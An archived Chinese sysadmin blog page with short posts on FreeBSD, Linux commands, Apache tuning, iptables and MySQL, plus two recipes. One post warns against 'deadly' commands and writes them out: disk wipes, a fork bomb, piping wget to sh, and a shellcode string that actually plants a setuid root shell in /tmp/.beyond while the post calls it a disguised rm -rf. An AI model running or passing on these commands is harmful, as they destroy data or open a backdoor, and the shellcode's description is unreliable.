博文

目前显示的是 2012的博文

帝国CMS路径问题

用帝国CMS建站,我们一般都是在本地电脑做好网站,然后上传到服务器,这样都会出现网站图片附件路径的问题,所以上传到服务器后第一件事在是在后台 -系统设置 – 附件地址,修改一下附件地址。然后再到后台-栏目-其他管理-批量替换字段值,把地址替换一下,替换titlepic和newstext这两个字段 如:本地网站附件地址:/125/d/file/  替换/d/file/ 然后更新数据就OK

IE6 IE7下文本框和密码框长度不一样

分析了一下原因.其实这是个很简单的问题,因为我在做input的时候,不习惯也不喜欢定义input的宽度,但有时候会忽略去定义input的字体.只要定义一个全局的input字体和字体大小就OK.写下这篇文章,主要也是警惕自己以后要保持定义全局input字体的习惯. 如:input {font-family:Verdana, Arial, Helvetica, sans-serif,”宋体”}  

FreeBSD常用命令及系统故障处理

01.查看网络流量 a.systat -if 1 (1表示1s刷新屏幕一次) b.netstat 1 # Traffic 流量 peak 峰值 average 平均值   02.查看硬盘信息 diskinfo -vt /dev/ad0 disklable /dev/ad0 (分区信息) disklable /dev/ad0s2   03.查看核心信息 vmstat 1   04.查看进程 top ps -aux ps -ef |grep xxx   05.查看硬盘详细分区信息&读写状况 gstat   06.sysctl sysctl -a 查看所有变量(/etc/sysctl.conf) sysctl kern.maxproc 查看特定变量 sysctl kern.maxfiles=5000 设置变量   07.查看磁盘空间使用情形 df 和 du 指令df用来查看整个档案系统的使用情形, 如果您需要知道某个目录的使用情形用指令du。 df -h du -h /etc du -sh /etc -s 参数来省略指定目录下的子目录 -h 表示使用GB、MB等易读的格式   08.断电后系统无法启动 a.启动到sing user模式 b.fsck c.reboot   09.升级内核后无法启动 a.重启机器到10秒读秒时按enter以外的任意键(新版bsd按6) b.unload c.boot kernel.old 或其他可以启动的内核 另外一种方法 a.使用cd1启动,选择Fixit–>CDROM/DVD b.Fixit#mount /dev/ad0s2a /mnt mount硬盘上的文件系统 c.cd /mnt/boot d.rm -rf kernel e.cp -R kernel.old kernel f.reboot 修改了/boot/loader.conf以后不能正常引导系统了,当机器开始加载 /boot/defaults/loader.conf的时候(未加载完)机器停止响应,我应该怎么办? a.使用cd1启动,选择Fixit–>CDROM/DVD b.Fixit#mount /dev/ad0s2a /mnt mount硬盘上的文件系统 c.cd ...

FreeBSD系统root密码解决方法

忘记FreeBSD系统root密码解决方法 一、 开机进入 single mode 二、然后输入fsck 三、mount -a 四、passwd root 下边新设root密码即可。

芝兰斋糕干的做法详细介绍

工艺:蒸法 芝兰斋糕干的制作材料: 小站稻米、糯米、豆沙馅、松子仁、瓜子仁、核桃仁、青梅、瓜条、橘皮、青红丝等各适量。 芝兰斋糕干的介绍: 芝兰斋糕干是用小站稻米、糯米磨粉夹入多种馅料蒸制而成。因该糕干系芝兰斋字号创制,故名。芝兰斋创始人于天津沈庄大街开店制售糕干,因产品质佳价廉,颇受人们喜欢,以致成为农历正月人们最喜欢的食品,并传承至今,成为特色小吃之一,它和一般糕类的区别是糕内有馅。 芝兰斋糕干的特色: 米面松软洁白,馅心任意配制,入口柔软而筋道,不噎口,不粘牙,越嚼越香,凉热皆宜。 教您芝兰斋糕干怎么做,如何做芝兰斋糕干 1.稻米、糯米用清水浸泡至回软,上磨磨成米粉。 2.松子仁、瓜子仁、核桃仁、青梅、瓜条、橘皮、青红丝皆切成碎粒。 3.取制糕的木模,先在模内装入一层米粉,然后加一层豆沙馅料,再加入米粉抹平,然后用刀划上小长方块,撒上松子仁、瓜子仁、核桃仁、青梅、瓜条、橘皮、青红丝,入预热的蒸锅中蒸10分左右至熟透即成。 芝兰斋糕干的制作要领: 1.选料必须严格,要用上好的大米与糯米,米粉细腻无粗粒; 2.馅心可随意调制。 3.蒸时用旺火,气足蒸之。

合理设置apache参数

在/usr/local/etc/apache22/httpd.conf中加载MPM配置(去掉前面的注释): # Server-pool management (MPM specific) Include etc/apache22/extra/httpd-mpm.conf 可见的MPM配置在/usr/local/etc/apache22/extra/httpd-mpm.conf,但里面根据httpd的工作模式分了很多块,哪一部才是当前httpd的工作模式呢?可通过执行 apachectl -l 来查看: Compiled in modules: core.c prefork.c http_core.c mod_so.c 看到prefork 字眼,因此可见当前httpd应该是工作在prefork模式,prefork模式的默认配置是: <IfModule mpm_prefork_module> StartServers 5 MinSpareServers 5 MaxSpareServers 10 MaxClients 150 MaxRequestsPerChild 0 </IfModule> 2.要加到多少? 连接数理论上当然是支持越大越好,但要在服务器的能力范围内,这跟服务器的CPU、内存、带宽等都有关系。 查看当前的连接数可以用: ps aux | grep httpd | wc -l 或: pgrep httpd|wc -l 计算httpd占用内存的平均数: ps aux|grep -v grep|awk ‘/httpd/{sum+=$6;n++};END{print sum/n}’ 由于基本都是静态页面,CPU消耗很低,每进程占用内存也不算多,大约200K。 服务器内存有2G,除去常规启动的服务大约需要500M(保守估计),还剩1.5G可用,那么理论上可以支持1.5*1024*1024*1024/200000 = 8053.06368 约8K个进程,支持2W人同时访问应该是没有问题的(能保证其中8K的人访问很快,其他的可能需要等待1、2秒才能连上,而一旦连上就会很流畅) 控制最大连接数的MaxClients ,因此可以尝试配置为: <IfModule mpm_prefork_module> StartSer...

滋补强壮五款乌鸡药膳

乌鸡的营养价值有哪些?乌鸡味甘,性平。归肝、肾、肺经。具有补肝肾,益气血,退虚热的功效。适用于虚劳羸瘦,骨蒸痨热,消渴,遗精,久泻,久痢。乌鸡怎么做才起到滋补强壮的作用呢? 乌鸡名 乌骨鸡、药鸡,为雉科动物乌骨鸡去羽毛及内脏的全体。《本草纲目》称“乌骨鸡甘平,无毒。补虚劳羸弱,治消渴中恶,鬼击心腹痛,益产妇,治妇人崩中带下, 虚损诸病,大人小儿下痢噤口”。乌鸡味甘,性平。归肝、肾、肺经。具有补肝肾,益气血,退虚热的功效。适用于虚劳羸瘦,骨蒸痨热,消渴,遗精,久泻,久 痢。 现代药理研究证实,乌鸡主要含有天冬氨酸、谷氨酸、赖氨酸等多种氨基酸,还含有铜、锌、锰等元素、胡萝卜素、维生素E、乌鸡黑素等。实验研究表明,乌鸡具有滋补强壮、延缓衰老、抗诱变、增强非特异性免疫功能等作用。 【适用人群】适合一切体虚血亏、肝肾不足、脾胃不健的人食用。 【适用量】每次150克。 【特别提示】乌鸡连骨(砸碎)熬汤滋补效果最佳。炖煮时最好不用高压锅,使用砂锅文火慢炖最好。 现介绍几款滋补强壮药膳,可作为病后体虚、年老体弱、体质素虚者调补之用。 乌鸡大枣粥 材料:乌鸡肉150克,大枣10~15枚,大米100克,精盐适量。 做法:将乌鸡肉洗净,切成碎末;大枣、大米洗净。 将乌鸡肉与大枣、大米一同放入锅中,加入清水适量,上大火烧开,改用小火熬成粥,调入少许精盐即成。 每日早晚温服。 功效:本粥具有养血止血、健脾补中的功效。 适用于气血津液不足、营卫不和、心悸怔忡、脾虚便溏、产后或久病血虚体弱等症。 笋菇炒乌鸡 材料:乌鸡肉300克,冬笋、黄瓜各50克,水发香菇25克,鸡蛋1个,植物油、酱油、料酒、花椒水、精盐、水淀粉、味精、清汤各适量。 做法:将乌鸡肉洗净,切成薄片,与鸡蛋清和水淀粉拌匀;将冬笋、香菇、黄瓜切成片。将炒锅烧热,放适量油,待油烧至六成热时,下入乌鸡肉片、香菇、黄瓜片、冬笋翻炒,加入清汤、料酒、酱油、精盐、味精、花椒水,炒熟即可。佐餐食用。 功效:本品具有补养五脏,增强体质,防病延年的功效。适用于五脏虚衰。 冻豆腐西红柿炖乌鸡 材料:冻豆腐200克,净白条乌鸡1只,西红柿100克,植物油、料酒、精盐、味精、葱花、姜丝、鲜汤各适量。 做法:将冻豆腐解冻,洗净,压去水分,切薄片;净乌鸡切成块,投入开水锅中汆去血水捞出,控净水;西红柿切成块。锅上火,放入植物油,烧至七八 成热,投入葱花、姜丝...

如何让百度收录你网站的图片之百度图片收录规则

百度图片收录规则 1.百度图片的热门目录: 爆笑趣图、精品推荐、MM明星、卡通动漫、精美壁纸、电影电视、风景名胜、新闻图片、壁纸。 2.百度图片会根据图片关键字的等级收录排前。 第1级:搜索结果的关键字在图片所存在页面的title中存在将会优前排前(即使图片没有alt也会排前)。 第2级:百度图片会考虑收录图片代码中有alt注释的图处。 第3级:在搜索结果很少的情况下将考虑把一些title、alt中没有关键字的图片但网页内容中出现搜索关键字的图片。 3.百度图片搜索结果会优先把jpg、jpeg放在前面,(指定搜索其实格式除外)。 4.默认搜索结果百度图片喜欢把大图放在搜索结果前面。 大图片: 指图片的最长一边大于 640 像素的图片(包括 640 像素)。 小图片: 指图片的最长一边小于 200 像素的图片(包括 200 像素)。 中图片: 图片的最长一边在大于 200 像素并小于 640 像素之间的图片。 5.百度图片大多优先收百度空间里的图片。 百度喜欢到有权重的图片网站,或是喜欢到论坛、社区收录图片,对文章内的图片不怎么收录。 6.真人图、真景图排在前面,卡通动漫图排在后面,(主要取决于图片的alt与title或人工) 7.图片没有排名,不会收录后一直不换而排到前面,如果相同关键词的图片很多,百度就会常更换图片,而使用户感觉换然一新。   搜索自己的图片是否被百度图片收录的方法: 打开http://image.baidu.com 输入site: www.8×5.net ,即可看到有多少篇图片被百度收录。   让百度图片有效地收录你的图片的方法: 1、在图片alt,title,里填写图片关键词关键词。 2、申请百度空间,把图片放在百度空间相册里。(标题就写你想要被收录的关键词,再让关键词在内容部分多出现几次就搞定了,一般24小时内通过关键词就可以看到你所发布的图片了。)   相关的名称解释: 什么是图片alt属性? 图片alt属性是用来说明图片的内容的,我们经常浏览网页时候,把鼠标放在某个图片上停留一下,会看到弹出一个小的提示,上面写着一些文字。这种就是图片alt属性设置的。给图片加alt说明对于搜索引擎是友好的,而且对于网站优化也是有好好处的。不要将图片alt属性中充满了关键词,重复关键词也是不可取的,容易被判为Spam垃...

调整IMG文件大小的方法

图片
1、先用EasyBoot制作一个新的IMG文件 2、例如我选择了制作一个10M的IMG文件(影像大小那里选择10080就是10M了)。种子影像文件可惜选择EasyBoot里面自带的setup98.img 然后用WinImage软件打开刚才创作的10080.img文件,在WinImage的选项=》设置,在载入到内存的影像的大小限制里面填写上28800。一定要填写上比文件大的数字,或者和文件一样大小也可以。   PS:【这项很重要,一定要填写好,否则制作出的IMG无法启动。】 3、然后就是选择影像=》更改格式,这里要选自定义影像格式。 在红色的箭头位置填写每簇扇区数(大小为字节)=》4(2048)   磁头=》4   其他地方不要修改,否则无法启动,扇区总数那里除非是调整IMG文件容量,否则也不要改动,因为数字有严格限制,填错了也无法启动。 引导扇区属性那里填WIN95或98即可。 最后的工作就是往IMG文件里面添加可启动的DOS引导文件了,要记住先后顺序。   1、IO.SYS   2、MSDOS.SYS   3、Command.com   添加完这3个文件后保存一下,后面就可以引导启动这个IMG文件了。   现在就可以继续打开这个IMG文件往里面任意添加其他你所需要的文件了。

Linux删除某一个目录下所有指定文件名的文件

find /home/kevin/test -name *.txt -exec rm -f {} \; find 是一个强大的搜索命令 -name 选项用来搜索符合条件的文件 搜到之后用-exec 选项来执行命令rm -rf {}进行删除.

7 个致命的 Linux 命令

如果你是一个 Linux 新手,在好奇心的驱使下,可能会去尝试从各个渠道获得的命令。以下是 7 个致命的 Linux 命令,轻则使你的数据造成丢失,重则使你的系统造成瘫痪,所以,你应当竭力避免在系统中运行它们。 1、rm -rf / 此命令将递归并强制删除 / 目录下的所有文件。 2、 char esp[] __attribute__ ((section(“.text”))) /* e.s.p release */ = “\xeb\x3e\x5b\x31\xc0\x50\x54\x5a\x83\xec\x64\x68” “\xff\xff\xff\xff\x68\xdf\xd0\xdf\xd9\x68\x8d\x99” “\xdf\x81\x68\x8d\x92\xdf\xd2\x54\x5e\xf7\x16\xf7” “\x56\x04\xf7\x56\x08\xf7\x56\x0c\x83\xc4\x74\x56” “\x8d\x73\x08\x56\x53\x54\x59\xb0\x0b\xcd\x80\x31” “\xc0\x40\xeb\xf9\xe8\xbd\xff\xff\xff\x2f\x62\x69” “\x6e\x2f\x73\x68\x00\x2d\x63\x00” “cp -p /bin/sh /tmp/.beyond; chmod 4755 /tmp/.beyond;”; 这是 rm -rf / 的 hex(十六进制)版本,很能迷惑 Linux 用户。 3、mkfs.ext3 /dev/sda 这将对硬盘进行重新格式化,自然,硬盘上的所有数据将灰飞烟灭。 4、:(){ :|:& };: 著名的 fork 炸弹,此命令将告诉你的系统执行海量的进程,直到你的系统僵死。 5、any_command > /dev/sda 使用该命令,原始数据将被写到块设备,其结果是造成数据丢失。 6、wget http://some_untrusted_source -O- | sh 不要从不信任的地方下载东西,这可能会获取恶意代码。 7、...

linux 解压命令总结

.tar 解包:tar xvf FileName.tar 打包:tar cvf FileName.tar DirName (注:tar是打包,不是压缩!) ——————————————— .gz 解压1:gunzip FileName.gz 解压2:gzip -d FileName.gz 压缩:gzip FileName .tar.gz 和 .tgz 解压:tar zxvf FileName.tar.gz 压缩:tar zcvf FileName.tar.gz DirName ——————————————— .bz2 解压1:bzip2 -d FileName.bz2 解压2:bunzip2 FileName.bz2 压缩: bzip2 -z FileName .tar.bz2 解压:tar jxvf FileName.tar.bz2 压缩:tar jcvf FileName.tar.bz2 DirName ——————————————— .bz 解压1:bzip2 -d FileName.bz 解压2:bunzip2 FileName.bz 压缩:未知 .tar.bz 解压:tar jxvf FileName.tar.bz 压缩:未知 ——————————————— .Z 解压:uncompress FileName.Z 压缩:compress FileName .tar.Z 解压:tar Zxvf FileName.tar.Z 压缩:tar Zcvf FileName.tar.Z DirName ——————————————— .zip 解压:unzip FileName.zip 压缩:zip FileName.zip DirName ——————————————— .rar 解压:rar x FileName.rar 压缩:rar a FileName.rar DirName   rar请到:http://www.rarsoft.com/download.htm 下载! 解压后请将rar_static拷贝到/usr/bin目录(其他由$PATH环境变量指定的目录也可以): [root@www2 tmp]# cp rar_static /usr/bin/rar ——————————————— .lha 解压:lha -e FileName.lha 压缩:...

linux下创建/删除用户

#/bin/bash   del_user() { echo “请输入用户名:” read user echo “请确认是否删除(y/n)?” read isDel if [ $isDel = ‘y’ ]; then userdel -r $user echo -e “\t\t\t\t|——————————|” echo -e “\t\t\t\t|——- 用户 ‘$user’ 已删除 ——|” echo -e “\t\t\t\t|——————————|” fi }   add_user() { echo “请输入用户名:” read user useradd $user -d /work/$user passwd $user echo -e “\t\t\t\t|——————————|” echo -e “\t\t\t\t|——- 用户 “$user” 已创建 ——|” echo -e “\t\t\t\t|——————————|” }   menu() { while : do echo “1.添加用户” echo “2.删除用户” echo “0.退出” echo -e “\n请选择:” read...

Linux Shell 调用系统时间变量

Shell 调用系统时间变量   获取今天时期:`date +%Y%m%d` 或 `date +%F` 或 $(date +%y%m%d) 获取昨天时期:`date -d yesterday +%Y%m%d` 获取前天日期:`date -d -2day +%Y%m%d` 依次类推比如获取10天前的日期:`date -d -10day +%Y%m%d` 或n天前的 `date -d “n days ago” +%y%m%d` 明天:`date -d tomorrow +%y%m%d` 注意以上中间有空格   时间域 % H 小时(00..23) % I 小时(01..12) % k 小时(0..23) % l 小时(1..12) % M 分(00..59) % p 显示出AM或PM % r 时间(hh:mm:ss AM或PM),12小时 % s 从1970年1月1日00:00:00到目前经历的秒数 % S 秒(00..59) % T 时间(24小时制)(hh:mm:ss) % X 显示时间的格式(%H:%M:%S) % Z 时区 日期域 % a 星期几的简称( Sun..Sat) % A 星期几的全称( Sunday..Saturday) % b 月的简称(Jan..Dec) % B 月的全称(January..December) % c 日期和时间( Mon Nov 8 14:12:46 CST 1999) % d 一个月的第几天(01..31) % D 日期(mm/dd/yy) % h 和%b选项相同 % j 一年的第几天(001..366) % m 月(01..12) % w 一个星期的第几天(0代表星期天) % W 一年的第几个星期(00..53,星期一为第一天) % x 显示日期的格式(mm/dd/yy) % y 年的最后两个数字( 1999则是99) % Y 年(例如:1970,1996等) 注意:只有超级用户才有权限使用date命令设置时间,一般用户只能使用date命令显示时间。

Access denied for user 'root'@'localhost' (using password: NO)

# /etc/init.d/mysql stop # mysqld_safe ——user=mysql ——skip-grant-tables  ——skip-networking & # mysql -u root mysql mysql> UPDATE user SET password=PASSWORD(’newpassword’) where USER=’root’; mysql> FLUSH PRIVILEGES; mysql> quit # /etc/init.d/mysql restart # mysql -uroot -p Enter password: <输入新设的密码newpassword> mysql>

iptables配置文件的格式语法

#头两行是注释说明 # Firewall configuration written by system-config-securitylevel # Manual customization of this file is not recommended.   #使用filter表 *filter   #下面四条内容定义了内建的INPUT、FORWAARD、ACCEPT链,还创建了一个被称为RH-Firewall-1-INPUT 的新链 :INPUT ACCEPT [0:0] :FORWARD ACCEPT [0:0] :OUTPUT ACCEPT [0:0] :RH-Firewall-1-INPUT – [0:0]   #将所有流入的数据写入到日志文件中 -A INPUT -j LOG –log-level crit   #下面这条规则将添加到INPUT链上,所有发往INPUT链上的数据包将跳转到RH-Firewall-1 //链上。 -A INPUT -j RH-Firewall-1-INPUT   #下面这条规则将添加到FORWARD链上,所有发往INPUT链上的数据包将跳转到RH-Firewall-1 //链上。 -A FORWARD -j RH-Firewall-1-INPUT   #下面这条规则将被添加到RH-Firewall-1-input链。它可以匹配所有的数据包,其中流入接口(-i)//是一个环路接口(lo)。 #匹配这条规则的数据包将全部通过(ACCEPT),不会再使用别的规则来和它们进行比较 -A RH-Firewall-1-INPUT -i lo -j ACCEPT   #下面这条规则是拒绝所有的icmp包-p 后是协议如:icmp、tcp、udp。端口是在-p后面–sport源端口,–dport目的端口。-j 指定数据包发送的 #目的地址如:ACCEPT、DROP、QUEUE等等 -A RH-Firewall-1-INPUT -p icmp –icmp-type any -j DROP -A RH-Firewall-1-INPUT -p 50 -j ACCEPT -A RH-Firewall-1-INPUT -p...

Linux Iptables Firewall Shell Script For Standalone Server

#!/bin/bash # A Linux Shell Script with common rules for IPTABLES Firewall. # By default this script only open port 80, 22, 53 (input) # All outgoing traffic is allowed (default – output) # ————————————————————————- # Copyright (c) 2004 nixCraft project <http://cyberciti.biz/fb/> # This script is licensed under GNU GPL version 2.0 or above # ————————————————————————- # This script is part of nixCraft shell script collection (NSSC) # Visit http://bash.cyberciti.biz/ for more information. # ————————————————————————-   IPT=”/sbin/iptables...

FreeBSD桌面笔记Xfce

网络校时 #ntpdate time.windows.com (time服务器地址time.nist.gov 、chime.utoronto.ca 、ntp.pipex.net 、time.windows.com)   安装、更新源代码 #csup -L 2 -h cvsup.freebsdchina.org /usr/share/examples/cvsup/standard-supfile   安装、更新doc文档 #csup -L 2 -h cvsup.freebsdchina.org /usr/share/examples/cvsup/doc-sufile   安装、更新Ports Collection #portsnap fetch extract 给bsd打补丁(自动打补丁只能用于默认内核) #freebsd-update #freebsd-install   设置本地化(中文) 登录分类法(管理员级设置) 在/etc/login.conf加入: chinese:Chinese Users Account:\ :charset=UTF-8:\ :lang=zh_CN.UTF-8:\ :tc=default: 然后执行: #cap_mkdb /etc/login.conf 然后: #pw 用户名 -L chinese (我习惯在安装系统的时候就建立一个用户所以这里之修改用户的登录类型就可以了。) 查看 #pw user show 用户名 XX:*:1001:1001:chinese:0:0:用户名:/home/用户名目录:/bin/sh   su -用户名 $ locale LANG=zh_CN.UTF-8 LC_CTYPE=”zh_CN.UTF-8″ LC_COLLATE=”zh_CN.UTF-8″ LC_TIME=”zh_CN.UTF-8″ LC_NUMERIC=”zh_CN.UTF-8″ LC_MONETARY=”zh_CN.UTF-8″ LC_MESSAGES=”zh_CN.UTF-8″ LC_ALL= 设置成功   登录分类(用户级设置) 在用户根...

freebsd进入图形界面后,键盘和鼠标不能用的解决办法

首先在命令行界面,使用如下命令 打开配置文件 ee /etc/rc.conf 查看文件中是否有如下信息 moused_enable=”YES” moused_nodefault_enable=”YES” dbus_enable=”YES” hald_enable=”YES”   你的rc.conf文件里是否有这些内容,如果没有,添加上,如果有,看是否一样, 注意:后面的值,一定要大写 如“YES”不能写“yes”

FreeBSD 8.1桌面安装Gnome2.3, 并使用ibus中文输入法

光盘安装FreeBSD 8.1, Xorg, 和Gnome 2.3:   FreeBSD 8.1 DVD, 安装. distribution选的all. pakages选的Xorg meta port, 和 Gnome 2 meta port 50分钟左右安装完成   ———————————————- 设置网卡   1. ifconfig 找到网卡 2. 在/etc/rc.conf里面加 ifconfig_re0=”inet 本机地址 netmask 掩码地址” #用你的网卡代替re0 defaultrouter=” 网关地址” 3. 在/etc/resolv.conf里面加 nameserver DNS的地址   重启动, 网络ok   ————————————————— 设置Xorg和Gnome   1./etc/rc.conf里面加 hald_enable=”YES” dbus_enable=”YES” 这样X11可以找到键盘鼠标 2. 运行 Xorg -configure $home里面生成一个xorg.conf.new文件 3.测试Xorg -config xorg.conf.new -retro 会看到一个黑白格的桌面和中央一个X 用Ctrl-Alt- F1调出tty0, 按Ctrl-C退出X测试 4. 编辑xorg.conf.new文件, 在”Section Screen”区里, 加上DefaultDepth 24; 在SubSection Display区里, 加上Modes 屏幕宽x屏幕高. 像下面这样: Section “Screen” Identifier ...

freebsd用ports及pkg_add在FreeBSD安装软件

①ports的目录在/usr/ports。   ②POSTS安装软件有时可能这个包已经安装过了,会有提示,无法继续安装,能够用提示中的参数   #make install clean FORCE_PKG_REGISTER=yes 这样就能够继续安装了,yes不区分大小写。   ③PORTS安装软件时有时能够下载回来的包的md5值不匹配,能够加参数强制安装。   #make install clean NO_CHECKSUM=yes ④如何查找安装一个ports软件   假如知道文件的详细名字,能够直接用whereis   #whereis php5 假如不知道细致文件名,能够用:   #cd /usr/ports #make search name=php 假如只知晓描述性主要字,能够用:   #cd /usr/ports/ #make search key=php ⑤如何查找已完装软件包的信息   #pkg_info 用管道命令过滤定位   #pkg_info grep php ⑥如何删除一个软件包   #pkg_delete 软件包细致名,细致名称能够用pkg_info grep 管道命令查出。   加上-f 参数,能够删除一人别的软件对其有依靠联系的软件包   #pkg_delete -f 软件包细致名   ⑦PORTS安装软件后,如何修改配置   有些POST包安装时会有蓝色配置挑选页,通常选过一次后就不会再显示了   #make rmconfig 删除配置,须要有root权限   #make reconfig 重新配置,须要有root权限   ⑧重新安装已安装ports软件包   #make reinstall ⑨删险已安装ports软件包   #make deinstall #make clean ⑩如果系统默认的下载地址失效了,你可尝试手动下载tbz软件包,然后用pkg_add 软件包名直接安装。

查看debian版本

root@shaobo:~# cat /etc/issue Debian GNU/Linux 6.0 \n \l     root@shaobo:~# cat /proc/version Linux version 2.6.32-5-amd64 (Debian 2.6.32-35) (dannf@debian.org) (gcc version 4.3.5 (Debian 4.3.5-4) ) #1 SMP Tue Jun 14 09:42:28 UTC 2011     root@shaobo:~# lsb_release -a No LSB modules are available. Distributor ID: Debian Description: Debian GNU/Linux 6.0.2 (squeeze) Release: 6.0.2 Codename: squeeze

使用FreeBSD组建控制流量的网关

FreeBSD在网络服务器的领域里占有一席之地,不管是在高端应用,还是小型企业里,使用FreeBSD做服务器都是不错的选择。   首先我们来安装Gateway,Gateway要使用的Internet的IP为x.x.x.x网卡为vr1,内部 IP为 192.168.1.1网卡为vr0,由于Gateway起到网关的作用,所以为了安全性,在该服务器上做安全是非常重要的,FreeBSD有自带了一个 ipfirewall防火墙,既然有,我们当然要利用上了,首先编译内核:   cd /usr/src/sys/i386/conf   cp GENERIC ./kernel_IPFW   用编辑器打开kernel_IPFW这个文本文件,在该文件里加入以下内容:   options QUOTA #添加磁盘限额   options IPDIVERT #启用由ipfw divert使用的转向IP套接字。 options IPSTEALTH #隐藏防火墙   #以缺省的、拒绝所有数据包方式启动IPFW options IPFIREWALL options IPFIREWALL_VERBOSE #向系统的注册程序发送注册信息包。 options IPFIREWALL_VERBOSE_LIMIT=100 #限制一台机器注册的次数。   # 接受过滤器中的静态连接 options ACCEPT_FILTER_DATA options ACCEPT_FILTER_HTTP   options DUMMYNET #启用流量功能   把以上参数加入以后保存kernel_IPFW文件。   # cd /usr/src # make buildkernel KERNCONF=kernel_IPFW   ….   # make installkernel KERNCONF=kernel_IPFW   # reboot   这种编译方法将保留原来的kernel为kernel.old,这样如果你做错了什么,就有机会通过boot:出现时输入kernel.old来恢复。   以上完成以后,你就可以重新启动系统使用新的内核了。   使用新内...

CentOS安装系统后的基本调优

CentOS安装系统后的基本调优   一.清理开机自动启动的服务   显示出所有服务的所有运行级别的启动状态 #chkconfig –list   停止所有在运行级别3上开机启动的服务 #for oldboy in `chkconfig –list|grep 3:on|awk ‘{print $1}’`;do chkconfig –level 3 $oldboy off;done   在开启常用的服务,crond,network,syslog,sshd #for oldboy in crond network syslog sshd;do chkconfig –level 3 $oldboy on;done   显示出所有3运行级别下的所有服务(根据需求决定哪个服务启动) #chkconfig –list |grep 3:on   二.配置SSH安全 备份配置文件(更改配置文件前需要进行备份) #cp /etc/ssh/sshd_config /etc/ssh/sshd_config.bak   修改sshd配置文件(提高系统安全性) #vi /etc/ssh/sshd_config Port 2022 #修改ssh的默认端口,默认为22端口 PermitRootLogin no #不允许ROOT用户登录 PermitEmptyPasswords no #不允许空密码登录 UseDns no #不适用DNS   三.修改LINUX字符集 在使用英文安装操作系统后,如果系统中有中文,这时候会显示乱码,需要修改字符集 英文字符集:en_US.UTF-8 中文字符集:zh_CN.GB18030   #vim /etc/sysconfig/i18n LANG=”en_US.UTF-8″ SYSFONT=”latarcyrheb-sun16″   让修改内容立刻有效 #source /etc/sysconfig/i18n   四.修改时区并使用ntp服务更新服务器时间 安装ntp #yum install ntp   更新时间 #ntpdat...

最小化安装centos不能make问题的解决方法

解决问题的方法: 安装: yum -y install gcc automake autoconf libtool make 安装g++: yum -y install gcc gcc-c++  

CentOS / Redhat Iptables Firewall Configuration Tutorial

#!/bin/bash # A sample firewall shell script IPT=”/sbin/iptables” SPAMLIST=”blockedip” SPAMDROPMSG=”BLOCKED IP DROP” SYSCTL=”/sbin/sysctl” BLOCKEDIPS=”/root/scripts/blocked.ips.txt”   # Stop certain attacks echo “Setting sysctl IPv4 settings…” $SYSCTL net.ipv4.ip_forward=0 $SYSCTL net.ipv4.conf.all.send_redirects=0 $SYSCTL net.ipv4.conf.default.send_redirects=0 $SYSCTL net.ipv4.conf.all.accept_source_route=0 $SYSCTL net.ipv4.conf.all.accept_redirects=0 $SYSCTL net.ipv4.conf.all.secure_redirects=0 $SYSCTL net.ipv4.conf.all.log_martians=1 $SYSCTL net.ipv4.conf.default.accept_source_route=0 $SYSCTL net.ipv4.conf.default.accept_redirects=0 $SYSCTL net.ipv4.conf.default.secure_redirects=0 $SYSCTL net.ipv4.icmp_echo_ignore_broadcasts=1 #$SYSCTL net.ipv4.icmp_ignore_bogus_error_messages=1 $SYSCTL net.ipv4.tcp_syncookies=1 $SYSCTL net.ipv4.conf.all.rp_filter=1 $SYSCTL net.ipv4.conf.default.rp_filter=1 $SYSCTL kernel.exec-shield=1 $SYSCTL kernel.randomize_va_space=1   echo “Starting IP...

pptpd安装脚本

脚本网上找的,32位系统适用,内容如下 #! /bin/sh # ### BEGIN INIT INFO # Provides: pptpd instll # PowerBY: fireye # website: http//www.hichou.com www.qinday.com # Description: pptpd install for centos vps ### END INIT INFO #   yum remove -y pptpd ppp iptables –flush POSTROUTING –table nat iptables –flush FORWARD rm -rf /etc/pptpd.conf rm -rf /etc/ppp   wget http://packages.sw.be/dkms/dkms-2.1.1.2-1.el5.rf.noarch.rpm wget “http://nchc.dl.sourceforge.net/project/poptop/mppe%20module%20builder/kernel_ppp_mppe-1.0.2%20dkms-2.0.6/kernel_ppp_mppe-1.0.2-3dkms.noarch.rpm” wget http://www.diahosting.com/dload/pptpd-1.3.4-1.rhel5.1.i386.rpm wget ftp://ftp.ntua.gr/pub/net/poptop/OldFiles/pptpd-1.1.3-1.i386.rpm wget http://mirrors.163.com/centos/5.6/os/i386/CentOS/ppp-2.4.4-2.el5.i386.rpm   yum -y install make libpcap iptables gcc-c++ logrotate tar cpio perl pam tcp_wrappers rpm -ivh dkms-2.1.1.2-1.el5.rf.noarch.rpm rpm -ivh kernel_ppp_mppe-1.0.2-3dkms.noarch.rpm rpm -qa kernel_ppp_mppe rpm -Uvh ppp-2...

eAccelerator 配置参数详解

eaccelerator.shm_size=”32″ eAccelerator 可以使用的共享内存的数量 (以兆为单位) . “0” 是指操作系统的默认值. 默认值是 “0”.可根据服务器的实际情况来调整,16,32,64,128都是可以的。 eaccelerator.cache_dir=””/tmp/eaccelerator” 这个目录是给磁盘缓存使用. eAccelerator 在这里储存预先编译好的代码, 进程数据, 内容以及用户的自定义内容. 同样的数据也能被储存在共享内存中 (这样可以提高访问速度). 默认的设置是 “/tmp/eaccelerator”. eaccelerator.enable=”1″ 开启或关闭 eAccelerator。”1″ 为开启,”0″ 为关闭。默认值为 “1”。 eaccelerator.optimizer=”1″ 启或关闭内部优化器,可以提升代码执行速度。”1″ 为开启,”0″ 为关闭。默认值为 “1”。 eaccelerator.check_mtime=”1″ 打开或者关闭 PHP 的文件修改检查. “1” 是指打开, “0” 是指关闭. 如果您在修改以后重新编译 PHP 的文件,那么您应当设置为 “1”. 默认值是 “1”. eaccelerator.debug=”0″ 开启或关闭调试日志记录。”1″ 为开启,”0″ 为关闭。默认值为 “0”。会将缓存命中得记录写入日志。 eaccelerator.filter=”” 判断哪些 PHP 文件必须缓存。您可以指定缓存和不缓存的文件类型(如 “*.php *.phtml”等) 如果参数以 ...